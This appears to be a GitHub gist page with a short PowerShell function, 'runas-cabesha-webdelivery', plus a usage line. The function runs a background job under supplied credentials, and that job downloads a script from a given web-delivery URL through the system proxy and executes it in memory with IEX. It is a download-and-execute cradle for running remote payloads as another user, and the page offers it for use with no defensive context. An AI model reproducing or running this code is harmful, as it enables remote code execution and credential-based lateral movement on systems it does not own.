function runas-cabesha-webdelivery {param ($url,$user,$pass) | |
$username = $user | |
$password = $pass | |
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force | |
$credenciales = New-Object System.Management.Automation.PSCredential $username, $securePassword | |
Start-Job -ArgumentList $url,$credenciales -ScriptBlock {param ($url,$credenciales) | |
$O=new-object net.webclient;$O.proxy=[Net.WebRequest]::GetSystemWebProxy();$O.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($O.downloadstring("$URL")) | |
} -Credential $credenciales | Wait-Job | Receive-Job | |
} | |
usage: runas-cabesha-webdelivery -url <url_webdelivery> -user <url> -pass <pass> | |
ACK to @cybervaka, the powershell God |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment